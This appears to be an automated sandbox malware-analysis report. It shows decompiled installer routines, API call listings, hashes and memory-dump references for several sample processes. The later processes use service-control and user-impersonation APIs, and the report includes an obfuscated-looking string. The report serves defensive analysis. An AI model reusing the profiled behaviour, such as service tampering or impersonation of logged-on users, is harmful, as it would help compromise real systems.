0x010d39e5
0x010d39e6
0x010d39f1
0x010d39f7
0x010d39fa
0x010d3a01
0x010d3a04
0x00000000
0x00000000
0x010d3a06
0x010d3a09
0x010d3a09
0x010d3a0b
0x010d3a0b
0x00000000
0x010d3a09
0x010d39fc
0x00000000
0x010d39fc
0x010d39d3
0x010d39d8
0x010d39da
0x00000000
0x00000000
0x00000000
0x010d39dc
0x010d39b6
0x010d3955
0x010d395b
0x00000000
0x00000000
0x010d3961
0x010d3963
0x00000000
0x00000000
0x010d3969
0x010d3969
0x00000000
0x010d3969
0x010d3915
0x010d3915
0x010d391b
0x010d391f
0x00000000
0x00000000
0x010d392d
0x010d3933
0x010d3938
0x010d393a
0x00000000
0x00000000
0x010d3940
0x010d3946
0x010d394b
0x00000000
0x010d394b
0x00000000
0x010d38f2
0x010d3843
0x010d3845
0x00000000
0x00000000
0x010d384b
0x010d384d
0x010d3883
0x010d3885
0x00000000
0x00000000
0x010d389a
0x010d389e
0x010d389e
0x00000000
0x00000000
0x010d38a0
0x010d38a0
0x010d38a2
0x00000000
0x00000000
0x010d38a4
0x00000000
0x010d38a4
0x010d384f
0x010d3851
0x010d3857
0x010d386e
0x010d3877
0x010d387b
0x00000000
0x00000000
0x00000000
0x010d3881
0x010d3859
0x010d385c
0x010d3862
0x010d3866
0x00000000
0x00000000
0x010d3868
0x00000000
0x010d38f4
0x010d38f4
0x010d38f5
0x010d38fb
0x010d3901
0x010d3901
0x00000000
0x010d390a
0x010d374b
0x010d374e
0x010d375c
0x010d3764
0x010d3769
0x010d376e
0x010d3771
0x010d379c
0x010d379f
0x00000000
0x00000000
0x010d37a3
0x010d37a4
0x00000000
0x010d37a4
0x010d3773
0x010d3777
0x010d3778
0x010d377f
0x010d3781
0x010d378e
0x010d378e
0x010d3794
0x00000000
0x010d3794
0x010d3783
0x00000000
0x00000000
0x010d3785
0x010d378c
0x00000000
0x00000000
0x00000000
0x010d378c
0x010d3750
0x00000000
0x010d372d
0x010d372d
0x010d396b
0x010d396b
0x010d396c
0x010d396e
0x010d396f
0x010d3a1e
0x010d3a1e
0x010d3a22
0x010d3a27
0x010d3a3e
0x010d3a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 010D3723
MessageBeep.USER32(00000000), ref: 010D39C3
MessageBoxA.USER32(00000000,00000000,010D9154,00000030), ref: 010D39F1

Strings

3, xrefs: 010D3785

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3
API String ID: 2519184315-1842515611
Opcode ID: 7d61bda374b3403e834b3013feffa4585897a21bd7994b01a128361debe79526
Instruction ID: 201fcc2067f0f0b0008407c052e0a1f22606b8824576f90aa77cc903a65bc6cc
Opcode Fuzzy Hash: 7d61bda374b3403e834b3013feffa4585897a21bd7994b01a128361debe79526
Instruction Fuzzy Hash: 1491C3F1F013259BEBB58A29CC81BEABBB4BB45304F0540E9D9C99F245D7758980CB43

Uniqueness

Uniqueness Score: -1.00%

Function 010D6495 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E010D6495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E010D1781( &_v268, 0x104, __ecx, 0x10d91e4);
				_t26 = "advpack.dll";
				E010D658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E010D6CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x010d6495
0x010d6495
0x010d64a0
0x010d64a7
0x010d64ab
0x010d64bd
0x010d64c2
0x010d64d3
0x010d64df
0x010d64e8
0x010d6502
0x010d64ee
0x010d64f9
0x010d64f9
0x010d6516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,010D91E4,?,00000000), ref: 010D64DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,010D91E4,?,00000000), ref: 010D64F9
LoadLibraryA.KERNEL32(advpack.dll,?,010D91E4,?,00000000), ref: 010D6502

Strings

advpack.dll, xrefs: 010D64C2, 010D64CD, 010D6501

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: advpack.dll
API String ID: 438848745-3255089409
Opcode ID: c4649b320a419ba98790fa62fef9a04615e8f989990a3827c2ee8c5a1c7832fb
Instruction ID: 28ab82dc806ac34faac557ecc6fa81518b29b47e19443936c38a7d51f079da8e
Opcode Fuzzy Hash: c4649b320a419ba98790fa62fef9a04615e8f989990a3827c2ee8c5a1c7832fb
Instruction Fuzzy Hash: 3F01D170A00208ABDB60DB64DC48EEE7778EB60310F800199F9C5931C8DF76AAC68B50

Uniqueness

Uniqueness Score: -1.00%

Function 010D6517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E010D6517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0x10d9a3c;
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E010D44B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x010d651f
0x010d652a
0x010d6534
0x010d656b
0x010d6577
0x010d657c
0x010d6536
0x010d653e
0x010d6542
0x00000000
0x010d6544
0x010d6547
0x010d654c
0x010d6549
0x010d6549
0x010d6549
0x010d655e
0x010d6560
0x010d6569
0x00000000
0x00000000
0x010d6569
0x010d6542
0x010d6587

APIs

FindResourceA.KERNEL32(?,000007D6,00000005), ref: 010D652A
LoadResource.KERNEL32(?,00000000,?,?,010D2EE8,00000000,010D19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 010D6538
DialogBoxIndirectParamA.USER32(?,00000000,00000547,010D19E0,00000000), ref: 010D6557
FreeResource.KERNEL32(00000000,?,?,010D2EE8,00000000,010D19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 010D6560

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 0ab2235986e5f279fe6477af862cc22b1593146f91b9bd11e7a1315d78895f17
Instruction ID: aed24e866c42ca637af8de384db66d35843b2eb02d502c4f3ca50b76f4d709af
Opcode Fuzzy Hash: 0ab2235986e5f279fe6477af862cc22b1593146f91b9bd11e7a1315d78895f17
Instruction Fuzzy Hash: FF012672201305BBDB205EAD9C08DBB7AACEB85360F400165FE8093148DB77DD9087E0

Uniqueness

Uniqueness Score: -1.00%

Function 010D3680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D3680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x010d368c
0x010d368f
0x010d3691
0x010d369f
0x010d36a7
0x00000000
0x00000000
0x010d36ba
0x00000000
0x010d36bc
0x010d36bc
0x010d36c0
0x010d36cb
0x010d36c2
0x010d36c4
0x010d36c4
0x010d36da
0x010d36e0
0x010d36e6
0x00000000
0x00000000
0x010d36e6
0x00000000
0x010d36ba
0x010d36ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 010D369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010D36B2
DispatchMessageA.USER32(?), ref: 010D36CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010D36DA

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 7dd9e101b02d87f06a4b2265e03ef31e53d55ec63d90d0763abd4d60bcfe7f81
Instruction ID: 2c918aecab8941edd42efaa1b25861f3cb36b8ff51b8bc4c3f93e1ca00d6e39e
Opcode Fuzzy Hash: 7dd9e101b02d87f06a4b2265e03ef31e53d55ec63d90d0763abd4d60bcfe7f81
Instruction Fuzzy Hash: 590184B6A01214BBDB304AAA5C48EEB7ABCFB8AB10F004159BE55E6184D5658540CB71

Uniqueness

Uniqueness Score: -1.00%

Function 010D65E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E010D65E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x010d65e8
0x010d65ed
0x010d65ef
0x010d65f2
0x010d65f4
0x010d65f4
0x010d65f6
0x010d65f7
0x010d6608
0x010d6611
0x010d6618
0x010d661c
0x00000000
0x00000000
0x010d660e
0x010d6623
0x010d6625
0x010d663b
0x010d663b
0x010d663d
0x010d6641
0x010d6610
0x010d6610
0x00000000
0x010d6610
0x010d6644
0x010d6647
0x010d6647
0x010d6621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,010D2B33), ref: 010D6602
CharPrevA.USER32(?,00000000), ref: 010D6612
CharPrevA.USER32(?,00000000), ref: 010D6629
CharNextA.USER32(00000000), ref: 010D6635

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 5b827f8f8263e58e8eedc8f8458702f2d122e1d97f0ed40b0ec5e91d0d2f51b0
Instruction ID: 350d4777d784009302cb0baba25f53c697e9720eb24dbe78834dcdf360136711
Opcode Fuzzy Hash: 5b827f8f8263e58e8eedc8f8458702f2d122e1d97f0ed40b0ec5e91d0d2f51b0
Instruction Fuzzy Hash: A6F0F436105250AEE7330A3C88888BBBFDCCF8F19471901EFF8D183101D61B0A468761

Uniqueness

Uniqueness Score: -1.00%

Function 010D69B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D69B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0x10d81f8 = E010D6C70();
				__set_app_type(E010D6FBE(2));
				 *0x10d88a4 =  *0x10d88a4 | 0xffffffff;
				 *0x10d88a8 =  *0x10d88a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0x10d8528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0x10d851c; // 0x0
				 *_t5 = _t12;
				_t6 = E010D7000();
				if( *0x10d8000 == 0) {
					__setusermatherr(E010D7000);
				}
				E010D71EF(_t6);
				return 0;
			}

0x010d69b7
0x010d69c2
0x010d69c8
0x010d69cf
0x010d69d8
0x010d69de
0x010d69e4
0x010d69e6
0x010d69ec
0x010d69f2
0x010d69f4
0x010d6a00
0x010d6a07
0x010d6a0d
0x010d6a0e
0x010d6a15

APIs

Part of subcall function 010D6FBE: GetModuleHandleW.KERNEL32(00000000), ref: 010D6FC5

__set_app_type.MSVCRT ref: 010D69C2
__p__fmode.MSVCRT ref: 010D69D8
__p__commode.MSVCRT ref: 010D69E6
__setusermatherr.MSVCRT ref: 010D6A07

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: df4ed87496422af2e75684e81de96fef5c0aa240d16a41e368b06c9d3ae3d542
Instruction ID: e9d79926b77dc85f9fdf045a933b12e3c7408e8d0c93c7ec04f942a72490e41e
Opcode Fuzzy Hash: df4ed87496422af2e75684e81de96fef5c0aa240d16a41e368b06c9d3ae3d542
Instruction Fuzzy Hash: 70F0F274606302CFC778AB3AE50A7283BA1FB04321B10864AECE2862D8CB3F85408B10

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ijx54ck.exePID: 6108, Parent PID: 6120COMMON

Execution Graph

Execution Coverage:	60.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.6%
Total number of Nodes:	21
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFBACE61B61 Relevance: 2.0, APIs: 1, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32 ref: 00007FFBACE61FD1

Memory Dump Source

Source File: 00000003.00000002.267444090.00007FFBACE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBACE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbace60000_ijx54ck.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 5318751bf963e1d4199becdbd6dd24e3568dc0c4fb841f20e99168a92f8dbc81
Instruction ID: 753a3dda2ac0f793f9253f0e74da2763967724792ae9f50a311b0c0a372a4016
Opcode Fuzzy Hash: 5318751bf963e1d4199becdbd6dd24e3568dc0c4fb841f20e99168a92f8dbc81
Instruction Fuzzy Hash: 58E1A270928A4D4FEB69DF28C84A7F977D1FB58311F10426EEC4EC7291DA74E5818B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBACE607CA Relevance: 1.7, APIs: 1, Instructions: 211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 00007FFBACE60989

Memory Dump Source

Source File: 00000003.00000002.267444090.00007FFBACE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBACE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbace60000_ijx54ck.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1f727483ad23d7027779cac7456524fa9e5ecb4bcc76f74043dedc125c17914b
Instruction ID: 8d847a8b7f30e3acf091a6bb1f7a5e26825eb9459d351bd36d59c5f609c9fe11
Opcode Fuzzy Hash: 1f727483ad23d7027779cac7456524fa9e5ecb4bcc76f74043dedc125c17914b
Instruction Fuzzy Hash: 34714D70618A4D8FEB69EF28C8597E977E1FF58300F00416AD84EC7291CF78A981CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBACE61262 Relevance: 2.3, APIs: 1, Instructions: 831
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 00007FFBACE617F5

Memory Dump Source

Source File: 00000003.00000002.267444090.00007FFBACE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBACE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbace60000_ijx54ck.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 8c09ce61d7ec36d0d9d03e54c8871c725b0108171a32be438fbf08df39025fe7
Instruction ID: 149197b2c04e7c3165959a2c9f0441de5c0e251541f30d95450568b3fc477372
Opcode Fuzzy Hash: 8c09ce61d7ec36d0d9d03e54c8871c725b0108171a32be438fbf08df39025fe7
Instruction Fuzzy Hash: 80A1237191DB884FDB5ADB78D8596F97BE0EF56321F0401BFD089D32A3CA28A806C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBACE61A1D Relevance: 1.7, APIs: 1, Instructions: 160
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32 ref: 00007FFBACE61ACB

Memory Dump Source

Source File: 00000003.00000002.267444090.00007FFBACE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBACE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbace60000_ijx54ck.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 849ca4ac4a8af9ca13f720632db8c9186dc8e42fad4fbc3eec2d57f471c03ba7
Instruction ID: be256e1a0ac44f8203a3c423667eb60ce82c09630f4c129bc5ca387313b67adb
Opcode Fuzzy Hash: 849ca4ac4a8af9ca13f720632db8c9186dc8e42fad4fbc3eec2d57f471c03ba7
Instruction Fuzzy Hash: 2F41177191CB484FDB19DB68DC0AAF97FE4EF56321F04416EE089D3152DA74A809CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBACE60C91 Relevance: 1.6, APIs: 1, Instructions: 148
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32 ref: 00007FFBACE60D99

Memory Dump Source

Source File: 00000003.00000002.267444090.00007FFBACE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBACE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbace60000_ijx54ck.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: f4a0ac8b6eac7513a3bd9e2177e78c95315754add0a1e579646cd2bb5a7af802
Instruction ID: 7a6bc57de15006f44a5765a15a05cc1e72175f49d566f575d399bf7bbd101295
Opcode Fuzzy Hash: f4a0ac8b6eac7513a3bd9e2177e78c95315754add0a1e579646cd2bb5a7af802
Instruction Fuzzy Hash: 57411070514A4D8FEB98EF28C8597A977E1FB68315F10426EE84ED3291DF74E8818B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBACE60B2D Relevance: 1.6, APIs: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FFBACE60BFA

Memory Dump Source

Source File: 00000003.00000002.267444090.00007FFBACE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBACE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbace60000_ijx54ck.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1046615745fc46ce21984d668589953389008509efde110b541aa55438508a0e
Instruction ID: ca7b04ba514ff7c6d560962731711a04763f64d2711aaa129b1efeeab8813324
Opcode Fuzzy Hash: 1046615745fc46ce21984d668589953389008509efde110b541aa55438508a0e
Instruction Fuzzy Hash: E331A07191CB588FDB29DFA8D8496F9BBE0EB65321F04816FD04AD3252DB70A845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBACE6108A Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFBACE61145

Memory Dump Source

Source File: 00000003.00000002.267444090.00007FFBACE60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBACE60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbace60000_ijx54ck.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e2d01c9e65a6419a8dc77552adaf4d690868c3205e01f38761249302d704f5e8
Instruction ID: 21fd76bb176ade59fca86a80285275b84de0dd72d4d63b4d72a70042a51137a8
Opcode Fuzzy Hash: e2d01c9e65a6419a8dc77552adaf4d690868c3205e01f38761249302d704f5e8
Instruction Fuzzy Hash: 5131267090C78C8FDB0ADB68C8197E97FF0EF56320F04029FD089D31A2DA65A856CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: kxL91dA.exePID: 3228, Parent PID: 6120COMMON

Executed Functions

Function 0279F7C8 Relevance: .6, Instructions: 622COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 461d5e18da8d9510772ad0267d78681eed26ab470ddde9acddbd8b191234e239
Instruction ID: be797ff1c690e1b1010d4781df48de84ed22ca8d8590329bc87eac36d317cd33
Opcode Fuzzy Hash: 461d5e18da8d9510772ad0267d78681eed26ab470ddde9acddbd8b191234e239
Instruction Fuzzy Hash: C2226A347002158FDB14DB78D4A4A6E7BE6EF89314F2584A9E906CB3A2DF35DC06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02792B3A Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

INDvU25uCG9krA24ZlOgemaUSnFuCmWjY6tadV54ZPzKf7PEjK86OHz3yvEveeq5KoJrIFEbyWUsVjzznHnqanLOlZbXembgdu6i0nWzoZNLeYSTY2wDo4wjffKO1eWKcr, xrefs: 02792CAD
8c_j, xrefs: 02792C95

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID: 8c_j$INDvU25uCG9krA24ZlOgemaUSnFuCmWjY6tadV54ZPzKf7PEjK86OHz3yvEveeq5KoJrIFEbyWUsVjzznHnqanLOlZbXembgdu6i0nWzoZNLeYSTY2wDo4wjffKO1eWKcr
API String ID: 0-4109359022
Opcode ID: 8b2272b457eab097f0b20fd9c2959d32ef9746ee1481ec3b2321f65ec21d0782
Instruction ID: fc8d7bd6ed9d5978aba76fdb01af4ca048420c4a8b536a2c3ee13fcef0be534e
Opcode Fuzzy Hash: 8b2272b457eab097f0b20fd9c2959d32ef9746ee1481ec3b2321f65ec21d0782
Instruction Fuzzy Hash: 27713A30D01308DFCB05EFB8E8648ADBBB6FF8A316B608569E415A7395DF359849CB11

Uniqueness

Uniqueness Score: -1.00%

Function 02792B60 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

INDvU25uCG9krA24ZlOgemaUSnFuCmWjY6tadV54ZPzKf7PEjK86OHz3yvEveeq5KoJrIFEbyWUsVjzznHnqanLOlZbXembgdu6i0nWzoZNLeYSTY2wDo4wjffKO1eWKcr, xrefs: 02792CAD
8c_j, xrefs: 02792C95

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID: 8c_j$INDvU25uCG9krA24ZlOgemaUSnFuCmWjY6tadV54ZPzKf7PEjK86OHz3yvEveeq5KoJrIFEbyWUsVjzznHnqanLOlZbXembgdu6i0nWzoZNLeYSTY2wDo4wjffKO1eWKcr
API String ID: 0-4109359022
Opcode ID: ee9400008ef3f300b335c1c37c1bca6a50f3e61f1da559d34f3b227b74c89fa4
Instruction ID: 0f07a35f63dc61c69126f764ec475e60ee0c9592a398f79519bde081cc9e3f69
Opcode Fuzzy Hash: ee9400008ef3f300b335c1c37c1bca6a50f3e61f1da559d34f3b227b74c89fa4
Instruction Fuzzy Hash: 8C61F530D01308DFCB04EFB8E8588ADBBB6FF8A316B609669E41667394DF359845CB15

Uniqueness

Uniqueness Score: -1.00%

Function 02792B2B Relevance: 2.7, Strings: 2, Instructions: 161COMMON

Download Yara Rule

Strings

INDvU25uCG9krA24ZlOgemaUSnFuCmWjY6tadV54ZPzKf7PEjK86OHz3yvEveeq5KoJrIFEbyWUsVjzznHnqanLOlZbXembgdu6i0nWzoZNLeYSTY2wDo4wjffKO1eWKcr, xrefs: 02792CAD
8c_j, xrefs: 02792C95

Memory Dump Source

Source File: 00000005.00000002.328837323.0000000002790000.00000040.00000800.00020000.00000000.sdmp, Offset: 02790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2790000_kxL91dA.jbxd

Similarity

API ID:
String ID: 8c_j$INDvU25uCG9krA24ZlOgemaUSnFuCmWjY6tadV54ZPzKf7PEjK86OHz3yvEveeq5KoJrIFEbyWUsVjzznHnqanLOlZbXembgdu6i0nWzoZNLeYSTY2wDo4wjffKO1eWKcr
API String ID: 0-4109359022
Opcode ID: 4694eae61cf039c7646c25bc3cf3098fb9e5812b8dda463bde64a03a8ee5c1ed
